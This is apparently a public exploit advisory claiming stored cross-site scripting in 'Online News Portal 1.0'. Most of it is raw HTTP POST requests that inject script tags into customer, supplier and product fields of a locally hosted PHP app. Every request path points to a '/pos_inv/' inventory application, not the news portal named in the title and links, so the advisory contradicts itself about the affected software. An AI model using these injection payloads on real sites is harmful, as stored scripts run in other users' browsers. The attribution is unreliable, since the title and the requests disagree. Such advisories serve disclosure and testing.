Online News Portal 1.0 - 'Multiple' Stored Cross-Site Scripting

# Exploit Title: Online News Portal 1.0 - 'Multiple' Stored Cross-Site Scripting 
# Exploit Author: Richard Jones
# Date: 2021-03-18
# Vendor Homepage: https://www.sourcecodester.com/php/14741/online-news-portal-using-phpmysqli-free-download-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14741&title=Online+News+Portal+using+PHP%2FMySQLi+with+Source+Code+Free+Download
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34

# Multipul endpoints on the application suffer from Stored XSS injection as a user/supplier and admin. Scripts execute on page load.

# One
POST /pos_inv/admin/addcustomer.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------26863080316712198253766739741
Content-Length: 661
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/pos_inv/admin/customer.php
Cookie: PHPSESSID=cb9r4bs1p4mqmt98nd4o3mtavm
Upgrade-Insecure-Requests: 1

-----------------------------26863080316712198253766739741
Content-Disposition: form-data; name="name"

<script>alert(`Stored XSS`)</script>
-----------------------------26863080316712198253766739741
Content-Disposition: form-data; name="address"

<script>alert(`Stored XSS`)</script>
-----------------------------26863080316712198253766739741
Content-Disposition: form-data; name="contact"

<script>alert(`Stored XSS`)</script>
-----------------------------26863080316712198253766739741
Content-Disposition: form-data; name="username"

<script>alert(`Stored XSS`)</script>
-----------------------------26863080316712198253766739741
Content-Disposition: form-data; name="password"

<script>alert(`Stored XSS`)</script>
-----------------------------26863080316712198253766739741--




# Two 
http://127.0.0.1/pos_inv/admin/supplier.php

POST /pos_inv/admin/edit_supplier.php?id=4 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 176
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/pos_inv/admin/supplier.php
Cookie: PHPSESSID=cb9r4bs1p4mqmt98nd4o3mtavm
Upgrade-Insecure-Requests: 1

name=Dell+Computer+Corporation&address=%3Cscript%3Ealert%28%60Stored+XSS%60%29%3C%2Fscript%3E&contact=1-800-WWW-DELL&username=supplier&password=fa3ddb86f38fb6a8284636249f6551aa




# Three
http://127.0.0.1/pos_inv/admin/product.php

POST /pos_inv/admin/edit_product.php?id=12 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------11435260685310908573266876009
Content-Length: 844
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/pos_inv/admin/product.php
Cookie: PHPSESSID=cb9r4bs1p4mqmt98nd4o3mtavm
Upgrade-Insecure-Requests: 1

-----------------------------11435260685310908573266876009
Content-Disposition: form-data; name="name"

ACER Aspire GX-781 Gaming PC <script>alert(1)</script>
-----------------------------11435260685310908573266876009
Content-Disposition: form-data; name="category"

2
-----------------------------11435260685310908573266876009
Content-Disposition: form-data; name="supplier"

0
-----------------------------11435260685310908573266876009
Content-Disposition: form-data; name="price"

749.99
-----------------------------11435260685310908573266876009
Content-Disposition: form-data; name="qty"

1000
-----------------------------11435260685310908573266876009
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream


-----------------------------11435260685310908573266876009--